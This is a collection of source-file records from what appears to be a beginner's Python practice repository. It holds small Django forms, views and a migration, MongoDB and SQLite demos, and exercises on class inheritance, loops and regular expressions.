"alpha_fraction": 0.7058823704719543, "alphanum_fraction": 0.7137255072593689, "avg_line_length": 41.5, "blob_id": "71c76f1a5f209bc1f376619fddd259b4c964bd80", "content_id": "13dcf7df8c2f0a918307fbf01e2c0753439e67ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 255, "license_type": "no_license", "max_line_length": 65, "num_lines": 6, "path": "/django/project23/app23/forms.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django import forms\nclass EmployeeForm(forms.Form):\n sno = forms.IntegerField(label=\"enter no\")\n name = forms.CharField(label=\"enter the name\", max_length=50)\n cno = forms.IntegerField(label=\"enter contact no\")\n file = forms.FileField()\n" }, { "alpha_fraction": 0.5722714066505432, "alphanum_fraction": 0.6902654767036438, "avg_line_length": 27.25, "blob_id": "4e4a4a9b43f39e97c6d063a9d7644f7b4c56c143", "content_id": "d957766a852c820cb626c645027cf2041bea4358", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 339, "license_type": "no_license", "max_line_length": 42, "num_lines": 12, "path": "/mdb/mongodb1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from pymongo import MongoClient\nmc=MongoClient()\nsa=mc.rajesh\nd1={\"id\":121,\"name\":\"simha\",\"fee\":12000}\nd2={\"id\":122,\"name\":\"sanju\",\"fee\":12000}\nd3={\"id\":123,\"name\":\"sumath\",\"fee\":12000}\nd4={\"id\":124,\"name\":\"maheshf\",\"fee\":12000}\nsa.Student.insert(d1)\nsa.Student.insert(d2)\nsa.Student.insert(d3)\nsa.Student.insert(d4)\nprint(\"data inseted\")\n" }, { "alpha_fraction": 0.6847826242446899, "alphanum_fraction": 0.6992753744125366, "avg_line_length": 22, "blob_id": "8ebcb76c1a692d1709504853d9501ae6428a4453", "content_id": "f0a56f3f2de82970258be1f67d68462d2296bc6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 276, "license_type": "no_license", "max_line_length": 56, "num_lines": 12, "path": "/exception/try with finally.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import sqlite3 as sql\nconn=sql.connect(\"sathya.db\")\ncurs=conn.cursor()\ntry:\n curs.execute(\"insert into the employee value (102)\")\nexcept sql.OperationalError as oe:\n print(oe)\nfinally:\n curs.close()\n conn.close()\n print(\"close all connections\")\nprint(\"thanks\")\n" }, { "alpha_fraction": 0.509772002696991, "alphanum_fraction": 0.5130293369293213, "avg_line_length": 29.66666603088379, "blob_id": "6275f2bdae157f004006a0c496f43897aa575ab9", "content_id": "fc5b6a2dc110c8236e3df702a0d1ce14c21cf0bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1842, "license_type": "no_license", "max_line_length": 68, "num_lines": 60, "path": "/django/project19/app19/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\n# Create your views here.\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef show(request):\n name =request.POST.get(\"hero\")\n print(name)\n return hero(request,name)\ndef hero(request,name):\n if name== 'pavan':\n list1=['kushi','balu','badri','tholiprema','thamudu']\n return render(request,\"index.html\",{\"list\":list1})\n elif name== 'Mahesh':\n list1=['okkadu','dookudu','pokiri','murari','one',]\n return render(request,\"index.html\",{\"list\":list1})\n elif name=='ntr':\n list1=['aadi','temper','jai lava kusha','aravinda sametha','janatha',]\n return render(request,\"index.html\",{\"list\":list1})\n else:\n return None\ndef movies(request):\n list=request.POST.getlist(\"movie\")\n tli=tuple()\n for x in list:\n if x=='kushi':\n tli=tli+('kushi.jpg',)\n elif x=='badri':\n tli=tli+('badri.jpg',)\n elif x=='balu':\n tli=tli+('balu.jpg',)\n elif x=='tholiprema':\n tli=tli+('tholiprema.jpg',)\n elif x=='thamudu':\n tli=tli+('thamudu.jpg',)\n elif x=='okkadu':\n tli=tli+('okkadu.jpg',)\n elif x=='dookudu':\n tli=tli+('dookudu.jpg',)\n elif x=='pokiri':\n tli=tli+('pokiri.jpg',)\n elif x=='one':\n tli=tli+('one.jpg',)\n elif x=='murari':\n tli=tli+('murari.jpg',)\n elif x=='aadi':\n tli=tli+('aadi.jpg',)\n elif x=='temper':\n tli=tli+('temper.jpg',)\n elif x=='jai lava kusha':\n tli=tli+('jai.jpg',)\n elif x == 'aravinda sametha':\n tli = tli + ('aravinda.jpg',)\n elif x=='jantha':\n tli=tli+('janatha.jpg',)\n for x in tli:\n print(x)\n return render(request,\"index.html\",{\"tli\":tli})\n\n\n" }, { "alpha_fraction": 0.46405228972435, "alphanum_fraction": 0.5065359473228455, "avg_line_length": 16.05555534362793, "blob_id": "9bc25a99f8a6eb6be7d4ae5261297db724126a5e", "content_id": "b52699d0635ffc2ba18329c9174dc94403e53582", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 306, "license_type": "no_license", "max_line_length": 34, "num_lines": 18, "path": "/inheritance/demo13.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n def m1(self):\n print(\"A class m1 method\")\nclass B(A):\n def m2(self):\n print(\"B class m2 method\")\n def m1(self):\n super().m1()\n print(\"B class m2 method\")\nclass C(B) :\n def m3(self):\n print(\"C class m3 method\")\nb=B()\nb.m2()\nb.m1()\nc=C()\nc.m3()\nc.m2()" }, { "alpha_fraction": 0.5856353640556335, "alphanum_fraction": 0.5856353640556335, "avg_line_length": 15.545454978942871, "blob_id": "b8c3143ddbac11b85daaa763644d30ae3748e5dd", "content_id": "c4858f44de695c2d34f6d724b91202350e079e5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 181, "license_type": "no_license", "max_line_length": 42, "num_lines": 11, "path": "/inheritance/demo3.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n @staticmethod\n def show():\n print(\"this is A static method\")\n\n\nclass B(A):\n def display(self):\n print(\"this is B instance method\")\nA.show()\nB.show()" }, { "alpha_fraction": 0.5551020503044128, "alphanum_fraction": 0.5551020503044128, "avg_line_length": 17.923076629638672, "blob_id": "a38259049a8e14931f446840a557cac509a41b27", "content_id": "bb2fce378f19a72c577d466395da5445f3a48fe1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 245, "license_type": "no_license", "max_line_length": 41, "num_lines": 13, "path": "/inheritance/demo8.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n def show(self):\n print(\"i am show of class A\")\nclass B(A):\n def display(self):\n print( \"i am display of class B\")\nclass C(B):\n def info(self):\n print(\"info of class C\")\nc=C()\nc.info()\nc.show()\nc.display()" }, { "alpha_fraction": 0.7154471278190613, "alphanum_fraction": 0.7235772609710693, "avg_line_length": 19.66666603088379, "blob_id": "5fe36bd408b3899da423b42402e789bc2f1ae2c1", "content_id": "32880fc12ef7759ee68ead6651fbe1cbca87791d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 123, "license_type": "no_license", "max_line_length": 34, "num_lines": 6, "path": "/regular expressions/search.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nst=\"this is sathya\"\nword=input(\"enter a word search:\")\nstr=re.search(r\"sathya\",st)\nprint(str)\nprint(str.group(0))" }, { "alpha_fraction": 0.6620689630508423, "alphanum_fraction": 0.7310344576835632, "avg_line_length": 23.16666603088379, "blob_id": "8931c7146f9868fa7a39175409a6c8046f7909d5", "content_id": "21c001381499b9d80141d678e44a7742d83d40d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 145, "license_type": "no_license", "max_line_length": 38, "num_lines": 6, "path": "/mdb/mongodb.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from pymongo import MongoClient\nmc=MongoClient()\nsa=mc.rajesh\nd1={\"id\":123,\"name\":\"raj\",\"fee\":12000}\nsa.Student.insert(d1)\nprint(\"data inseted\")\n" }, { "alpha_fraction": 0.5051194429397583, "alphanum_fraction": 0.5437997579574585, "avg_line_length": 30.39285659790039, "blob_id": "d314426142dfafecc4babda51d965b897a9db2ac", "content_id": "180cc3739953c1df832325757058249b99d5db82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 879, "license_type": "no_license", "max_line_length": 90, "num_lines": 28, "path": "/django/project20/app20/migrations/0002_auto_20181012_2225.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-10-12 16:55\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app20', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='faculity',\n fields=[\n ('id', models.IntegerField(default=2, primary_key=True, serialize=False)),\n ('name', models.CharField(max_length=50)),\n ('cname', models.CharField(max_length=50)),\n ('cno', models.IntegerField(default=10)),\n ('experiance', models.DecimalField(decimal_places=1, max_digits=2)),\n ('username', models.CharField(max_length=10)),\n ('password', models.CharField(max_length=10)),\n ],\n ),\n migrations.DeleteModel(\n name='facality',\n ),\n ]\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.7638888955116272, "avg_line_length": 17.25, "blob_id": "1bb623b4ca2a86f98b22f2290967b5b6738ca641", "content_id": "4c1ea6ce979cdb8738bee5e04a0b41ec5aa7ac41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 72, "license_type": "no_license", "max_line_length": 25, "num_lines": 4, "path": "/django/SQLITE/DEMO1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import sqlite3 as sql\nconn=sql.connect(\"rajdb\")\nprint(conn)\nconn.close()" }, { "alpha_fraction": 0.6547231078147888, "alphanum_fraction": 0.6644951105117798, "avg_line_length": 20.785715103149414, "blob_id": "044b9145da1f28e2db11e6dbb1cb13463c17a9bc", "content_id": "5859d83e5f89c9c64c80a1b4b2ac35a6999df16c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 307, "license_type": "no_license", "max_line_length": 38, "num_lines": 14, "path": "/inheritance/demo2.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n company_name=\"rajesh\"\n def display(self):\n print(\"this is display\")\nclass B(A):\n def show(self):\n print(\"this is show\")\n#calling static variable using class A\nprint(A.company_name)\n#calling static variable using class B\nprint(B.company_name)\nb1=B()\nb1.show()\nb1.display()\n\n\n" }, { "alpha_fraction": 0.5541401505470276, "alphanum_fraction": 0.5541401505470276, "avg_line_length": 30.600000381469727, "blob_id": "3340cad0f67640331bfacc3e04f6ce3e1cf73218", "content_id": "7dd7c87c1b64f6b03b279239edc4582fe2db9c3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 157, "license_type": "no_license", "max_line_length": 45, "num_lines": 5, "path": "/loops/demo3.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "my_friends = [\"sanju\", \"suman\",\"jay\",\"das\"]\nur_friends=[\"naik\",\"simha\",\"das\",\"jay\",\"raj\"]\nfor x in my_friends:\n if x in ur_friends:\n print(x)" }, { "alpha_fraction": 0.3285714387893677, "alphanum_fraction": 0.380952388048172, "avg_line_length": 18.18181800842285, "blob_id": "e8c03dacd2e6bd64a4c3e6dce904b6435c65ed5c", "content_id": "5034bd5f0dca31ffb7a081b8628991c372c8c3a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 210, "license_type": "no_license", "max_line_length": 28, "num_lines": 11, "path": "/django/untitled2/demo8.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "no=5\nfor x in range(1,6):\n for y in range(1,x+1):\n print(no,end=\"\")\n if no==40:\n no=40\n print(no,end=\"\")\n no=no+5\n else:\n num=no+5\n print()" } ]
107
AnGlez/RLS
https://github.com/AnGlez/RLS
bc739262ad6f1d3d120ca38315d9dee51c7682eb
b99b4535df844bcd07c54c532e2ac2452fb42fc5
31d1188179e536fb5eae03e61fbdffe48ae095f8
refs/heads/master
2016-09-01T13:19:22.999899
2016-04-25T23:01:00
2016-04-25T23:01:00
53,223,075
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6707566380500793, "alphanum_fraction": 0.6789366006851196, "avg_line_length": 22.33333396911621, "blob_id": "4dfc4d7e66d74ef904fda4d79c0f6936293ac86b", "content_id": "8bc9833c5afc16a755273a7053639c1dc8f84e3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 489, "license_type": "no_license", "max_line_length": 59, "num_lines": 21, "path": "/apps/evaluation/decorators.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.http import HttpResponseBadRequest\n\ndef ajax_required(view):\n\t\"\"\" AJAX request required decorator\n\t\tFrom <\"https://djangosnippets.org/snippets/771/\">\n\t@ajax_required\n\tdef my_view(request):\n\t....\n\t\"\"\"\n\n\tdef wrap(request, *args, **kwargs):\n\n\t\tif not request.is_ajax(): return HttpResponseBadRequest()\n\t\treturn view(request, *args, **kwargs)\n\n\twrap.__doc__ = view.__doc__\n\twrap.__name__ = view.__name__\n\n\treturn wrap" }, { "alpha_fraction": 0.2926219403743744, "alphanum_fraction": 0.29679033160209656, "avg_line_length": 37.095237731933594, "blob_id": "ef3936d473d4596fdc35effc81ced6ac8b4b1069", "content_id": "72c60bdb2801f1770a9ff8b4d1ab38092c140f59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2405, "license_type": "no_license", "max_line_length": 112, "num_lines": 63, "path": "/apps/evaluation/templates/courses/detail-student.html", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "{% extends 'base/base.html' %}\n{% load static i18n widget_tweaks %}\n{% block title %} {{ course.name }}{% endblock title %}\n{% block content %}\n <div class=\"row title\">\n <div class=\"col-md-8\">\n <h2>{{ course.name }}</h2>\n </div>\n </div>\n <hr>\n <div class=\"row\">\n <div class=\"col-md-6\">\n <!-- sección exámenes -->\n <div class=\"panel panel-default\">\n <div class=\"panel-heading\">\n <div class=\"row\">\n <div class=\"col-md-12\">\n Exámenes\n </div>\n </div>\n </div>\n {% if exams %}\n <ul class=\"list-group\">\n {% for e in exams %}\n {% if e.activated %}\n <li class=\"list-group-item\">\n <div class=\"row\">\n <div class=\"col-md-8\">\n {{ e.name }}\n </div>\n <div class=\"col-md-4\">\n {% if e.completed %}\n <a href=\"{% url 'examenes:results' e.id %}\" class=\"btn btn-default\">\n Ver resultados\n </a>\n {% else %}\n <a href=\"{% url 'examenes:view' e.id %}\" class=\"btn btn-primary\">\n Contestar\n </a>\n {% endif %}\n\n </div>\n </div>\n </li>\n {% endif %}\n {% endfor %}\n </ul>\n {% else %}\n <div class=\"panel-body\">\n <p> No hay exámenes para este curso</p>\n </div>\n {% endif %}\n </div>\n <!-- termina sección exámenes-->\n </div>\n </div>\n <!--modal usuarios-->\n {% include 'users/students.html' %}\n {% include 'courses/add_unit.html' %}\n\n <!--termina modal usuarios-->\n\n{% endblock %}" }, { "alpha_fraction": 0.7637362480163574, "alphanum_fraction": 0.7651098966598511, "avg_line_length": 32.04545593261719, "blob_id": "3d013b06adb85abc42687a3965d93861987d9770", "content_id": "0cba7c1c4f8a761af1b43810c4feff1e6c93fb30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 728, "license_type": "no_license", "max_line_length": 80, "num_lines": 22, "path": "/apps/evaluation/models/results.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.utils.translation import ugettext_lazy as _\nfrom model_utils.managers import InheritanceManager\nfrom django.utils.encoding import smart_str\nfrom django.db.models import *\nfrom _base import Model, ActiveManager\nfrom django.contrib.auth.models import User\n\nclass ChosenAnswer(Model):\n\n\tstudent = ForeignKey(User,related_name='student')\n\tanswer = ForeignKey('evaluation.PossibleAnswer', related_name='chosen')\n\tquestion = ForeignKey('evaluation.Question', related_name='section', null=True)\n\n\tdef __unicode__(self):\n\t\treturn self.answer.text\n\n\tclass Meta(object):\n\t\tverbose_name = 'respuesta'\n\t\tverbose_name_plural= 'respuestas'\n\t\tapp_label='evaluation'\n\n" }, { "alpha_fraction": 0.6625953912734985, "alphanum_fraction": 0.6687023043632507, "avg_line_length": 32.61538314819336, "blob_id": "2d83e07a94787c97e548ce1f31a8bfc56940661a", "content_id": "47024f635408046f147b68610ffbd0e8d9442e2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1311, "license_type": "no_license", "max_line_length": 146, "num_lines": 39, "path": "/apps/evaluation/forms/exams.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.forms import *\nfrom django.forms import ModelForm as Form\nfrom django_select2.forms import Select2MultipleWidget\nfrom apps.evaluation.models import Exam, Question\n\n__all__ = [ 'ExamForm','QuestionForm']\n\nclass ExamForm(Form):\n\t\tclass Meta(object):\n\t\t\tmodel = Exam\n\t\t\tfields = [\n\t\t\t\t'name',\n\t\t\t\t'unit',\n\t\t\t\t'activated',\n\t\t\t\t'instructions',\n\t\t\t\t'duration'\n\t\t\t]\n\t\t\twidgets = {\n\t\t\t\t'name': TextInput(attrs = { 'placeholder': _('Título del examen'),'class':'form-control' }),\n\t\t\t\t'instructions': Textarea(attrs = { 'placeholder': _('Indicaciones del examen'), 'rows': 6, 'class':'form-control' }),\n\t\t\t\t'unit':Select(attrs={'class':'form-control'}),\n\t\t\t\t'activated': CheckboxInput(),\n\t\t\t\t'duration': TextInput(attrs={'class':'form-control floating-label', 'id':'time'})\n\t\t\t}\nclass QuestionForm(Form):\n\tclass Meta(object):\n\t\tmodel = Question\n\t\tfields = [\n\t\t\t'sentence',\n\t\t\t'concepts',\n\t\t]\n\t\twidgets = {\n\t\t\t'sentence':TextInput(attrs={'placeholder':'Escribe el enunciado de la pregunta','class':'form-control','required':'required'}),\n\t\t\t'concepts':Select2MultipleWidget(attrs={'id':'concept-select','style':'width:100%','required':'required','placeholder':'Escribe un concepto'}),\n\t\t}" }, { "alpha_fraction": 0.4631710350513458, "alphanum_fraction": 0.4702455401420593, "avg_line_length": 34.88059616088867, "blob_id": "92643ea78f2ad47aaf772a4c51122ed5dc018476", "content_id": "862cf89c5bc06d12aa552366569ecabed7bd5f30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2403, "license_type": "no_license", "max_line_length": 97, "num_lines": 67, "path": "/apps/evaluation/templates/exams/detail.html", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "{% extends 'base/base.html' %}\n{% load static i18n widget_tweaks %}\n{% block title %}{{ exam.name }} | {{ exam.unit.name }}{% endblock title %}\n{% block content %}\n {% if messages %}\n <div class=\"row\">\n <div class=\"messages\">\n {% for msg in messages %}\n {% if msg.level_tag == 'error' %}\n <div class=\"alert alert-danger\" role=\"alert\">\n {% else %}\n <div class=\"alert alert-info\" role=\"alert\">\n {% endif %}\n {{msg.message}}\n <button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\">\n <span aria-hidden=\"true\">&times;</span>\n </button>\n </div>\n {% endfor %}\n </div>\n </div>\n {% endif %}\n <div class=\"row title\">\n <div class=\"col-md-8 col-xs-12\">\n <h2>{{ exam.name}} <small> {{ exam.unit }}</small></h2>\n </div>\n <div class=\"col-md-4 col-xs-6 switch\">\n {% if exam.activated %}\n <input type=\"radio\" checked=\"checked\" name=\"activated\">\n {% else %}\n <input type=\"radio\" name=\"activated\">\n {% endif %}\n </div>\n </div>\n <div class=\"row\">\n <label class=\"col-sm-2 control-label\">Instrucciones</label>\n <div class=\"col-sm-8 control-label\">\n {{ exam.instructions }}\n </div>\n </div>\n <div class=\"row\">\n <label class=\"col-sm-2 control-label\">Tiempo</label>\n <div class=\"col-sm-8 control-label\">\n {{ exam.duration }}\n </div>\n </div>\n <!--EMPIEZA SECCION PREGUNTAS-->\n {% block lista %}\n {% include 'questions/questions.html' %}\n {% endblock %}\n <div class=\" col-md-6 col-xs-10 btn-group btn-group-justified guardar-cancelar\" role=\"group\">\n <div class=\"btn-group\" role=\"group\">\n <a href=\"{% url 'examenes:edit' exam.id %}\" class=\"btn btn-primary\">Editar</a>\n </div>\n <div class=\"btn-group\" role=\"group\">\n <a href=\"{% url 'examenes:listar' %}\" class=\"btn btn-default\">Regresar</a>\n </div>\n </div>\n <script>\n $(document).ready(function(){\n count = 1;\n $(\"[name='activated']\").bootstrapSwitch();\n\n });\n\n </script>\n{% endblock %}" }, { "alpha_fraction": 0.7518194913864136, "alphanum_fraction": 0.7547307014465332, "avg_line_length": 32.09638595581055, "blob_id": "0c34aed0e0428b5fe7a7372bcf8bf752b65e41e5", "content_id": "7d05842a3964f5f7a0c029b7a98dc3a144429486", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2748, "license_type": "no_license", "max_line_length": 103, "num_lines": 83, "path": "/apps/evaluation/views/accounts.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.contrib.auth import (\n\tlogin as login_to_site,\n\tlogout as logout_from_site,\n\tupdate_session_auth_hash as update_session\n)\nfrom django.shortcuts import render_to_response, redirect, RequestContext\nfrom django.contrib.auth.tokens import default_token_generator as tokens\nfrom django.utils.http import urlsafe_base64_decode as base64_decode\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import update_last_login\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.utils.decorators import method_decorator\nfrom apps.evaluation.forms import LoginForm\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.contrib.auth import get_user_model\nfrom django.http import HttpResponseForbidden\nfrom django.utils.http import force_text\nfrom django.views.generic import View\n\n__all__ = [\n\t'login',\n\t'logout',\n]\n\nclass LoginView(View):\n\t\"\"\" This view is in charge of authenticating users into the system and storing their data in a session\n\t\tThe authentication determines the user's role\n\t\"\"\"\n\tdef get(self,request):\n\t\t# Get redirect URL\n\t\tredirect_url = request.REQUEST.get('next', reverse_lazy('cursos:listar'))\n\n\t\t# Check if user has been authenticated before - if so, redirect him/her to the main site\n\t\tif request.user is not None and request.user.is_authenticated():\n\t\t\treturn redirect(redirect_url)\n\n\t\t# Create the login form and render the template\n\t\tform = LoginForm()\n\t\treturn render_to_response('accounts/login.html', context = RequestContext(request, locals()))\n\n\t@method_decorator(csrf_protect)\n\tdef post(self, request):\n\n\t\t# Get redirect URL\n\t\tredirect_url = request.REQUEST.get('next', reverse_lazy('cursos:listar'))\n\n\t\t# Check if user has been authenticated before - if so, redirect him/her to the main site\n\t\tif request.user is not None and request.user.is_authenticated():\n\n\t\t\treturn redirect(redirect_url)\n\n\t\tform = LoginForm(request.POST)\n\t\tif form.is_valid():\n\n\t\t\t# Login the authenticated user to the site and redirect - remember to log this event\n\t\t\tuser = form.user\n\t\t\tlogin_to_site(request, user)\n\t\t\tupdate_last_login(None, user = user)\n\n\t\t\treturn redirect(redirect_url)\n\n\t\t# Login failed - report errors back to the user\n\n\t\treturn render_to_response('accounts/login.html',\n\t\t\tcontext = RequestContext(request, locals()),\n\t\t\tstatus = 401\n\t\t)\nlogin = LoginView.as_view()\n\nclass LogoutView(View):\n\t\"\"\"\n\t\tThis view is in charge of destroying session variables when the user is finished using the system\n\t\"\"\"\n\t@method_decorator(login_required)\n\tdef get(self, request):\n\n\t\t# log out the user\n\t\tlogout_from_site(request)\n\t\treturn redirect(reverse_lazy('accounts:login'))\n\nlogout = LogoutView.as_view()\n\n" }, { "alpha_fraction": 0.6736056804656982, "alphanum_fraction": 0.6736056804656982, "avg_line_length": 34.375, "blob_id": "d98810b1e68cac078281b06a874290f41668fde8", "content_id": "b1dfa4af4ed441194cd5efce97b1b1f7d52483bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2546, "license_type": "no_license", "max_line_length": 92, "num_lines": 72, "path": "/rls/urls.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom django.shortcuts import render_to_response, RequestContext\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.views.generic import RedirectView\nfrom django.conf.urls import include, url\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom django.http import HttpResponse\nfrom apps.evaluation import views\nfrom django.contrib import admin\n\n\nredirect = RedirectView.as_view\n\n\nurlpatterns = [\n\turl(r'^grappelli/', include('grappelli.urls')), # grappelli URLS\n\turl(r'^admin/', include(admin.site.urls)), # admin site\n\n\turl(r'^$',views.courses.list, name='home'),\n\t#Login and logout\n\turl(r'^accounts/',include([\n\t\turl(r'^login/$', views.accounts.login, name = 'login'),\n\t\turl(r'^logout/$', views.accounts.logout, name = 'logout')],namespace=\"accounts\")),\n\n\t#Exam management\n\turl(r'^examenes/',include([\n\n\t\turl(r'crear/$',views.exams.create,name='crear'), #get, post\n\t\turl(r'^$',views.exams.list,name='listar'),\n\t\turl(r'^responder',views.tests.answer, name='responder'),\n\t\turl(r'^(?P<exam_id>[\\d]+)/', include([\n\n\t \t\turl(r'^$', views.exams.view, name = 'view'), #get, post\n\t\t\turl(r'^editar', views.exams.edit, name='edit'),\n\t\t\turl(r'^resultados',views.tests.results, name = 'results')\n\n\t\t]))], namespace=\"examenes\")),\n\n\t#Question management\n\turl(r'^preguntas/',include([\n\n\t\turl(r'crear/$',views.questions.create,name='crear'), #get, post\n\t\turl(r'^(?P<question_id>[\\d]+)/editar/$',views.questions.edit,name='edit') #get,post\n\t],namespace=\"preguntas\")),\n\n\t#Concept management\n\turl(r'^conceptos/',include([\n\t\turl(r'crear/$',views.concepts.create, name=\"crear\"), #get, post\n\t\turl(r'^(?P<course_id>[\\d]+)/editor/$',views.concepts.hierarchy,name=\"ordenar\"), #get, post\n\t\turl(r'^recurso/$',views.concepts.resource, name = \"recurso\")\n\t\t],namespace=\"conceptos\")),\n\n\t#Course management\n\turl(r'^cursos/',include([\n\t\t#url(r'crear/$',views.concepts.create, name=\"crear\"), #get, post\n\t\turl(r'^$',views.courses.list,name=\"listar\"), #get, post\n\t\turl(r'^(?P<course_id>[\\d]+)/', include([\n\t\t\turl(r'^$',views.courses.view, name='view'),\n\t\t\turl(r'^recursos',views.concepts.resource_path, name=\"recursos\")\n\t\t]))],namespace=\"cursos\")),\n\n\t# Unir management\n\turl(r'^unidades/',include([\n\t\turl(r'(?P<course_id>[\\d]+)/', include([\n\t\t\turl(r'crear/$',views.units.create, name=\"create\"),\n\t\t])), #get, post\n\t\turl(r'(?P<unit_id>[\\d]+)/', include([\n\t\t\turl(r'^$', views.reports.view, name=\"view\")\n\t\t]))\n\t\t],namespace=\"unidades\")),\n] + static(settings.STATIC_URL, document_root = settings.STATIC_ROOT)" }, { "alpha_fraction": 0.8269230723381042, "alphanum_fraction": 0.8269230723381042, "avg_line_length": 40.599998474121094, "blob_id": "b4d872cd4d4625585f4224010cc532e366b13bb9", "content_id": "85ef802cf3ff92b2227ff245afb5525b889b6035", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 208, "license_type": "no_license", "max_line_length": 57, "num_lines": 5, "path": "/apps/evaluation/models/__init__.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom courses import Course, Unit\nfrom exams import Exam, Concept, PossibleAnswer, Question\nfrom results import ChosenAnswer\nfrom django.contrib.auth.models import User\n" }, { "alpha_fraction": 0.7237108945846558, "alphanum_fraction": 0.7271620035171509, "avg_line_length": 30.183544158935547, "blob_id": "1934e269f020962b33f2b6f2bd295532777b570a", "content_id": "9dfb7a1abaac4757ab2aa5e596433ed95f278a80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4927, "license_type": "no_license", "max_line_length": 102, "num_lines": 158, "path": "/apps/evaluation/views/exams.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\nfrom django.shortcuts import redirect, render_to_response, RequestContext\nfrom apps.evaluation.models import Exam,Unit,Question,PossibleAnswer, ChosenAnswer\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.core.urlresolvers import reverse_lazy, reverse\nfrom apps.evaluation.forms import ExamForm, QuestionForm\nfrom django.http import HttpResponseForbidden\nfrom django.views.generic import View\nfrom django.db.models import Q\nfrom django.contrib import messages\n\n__all__ = [\n\t'create',\n\t'edit',\n\t'view',\n\t'list'\n]\n\nclass CreateExamView(View):\n\t\"\"\"\tClass in charge of creating exams for courses\n\t\"\"\"\n\t@method_decorator(login_required)\n\tdef get(self,request):\n\t\t\"\"\"\n\t\tRenders the exam form and obtains active units to populate the form\n\t\t:param request:\n\t\t:return:\n\t\t\"\"\"\n\t\tif not request.user.is_staff:\n\t\t\treturn HttpResponseForbidden()\n\t\tform = ExamForm()\n\t\tunit = Unit.objects.active()\n\t\treturn render_to_response('exams/create.html', context = RequestContext(request, locals()))\n\n\n\t@method_decorator(login_required)\n\tdef post(self,request):\n\t\t\"\"\"\n\t\tValidates and saves exam instance\n\t\t:param 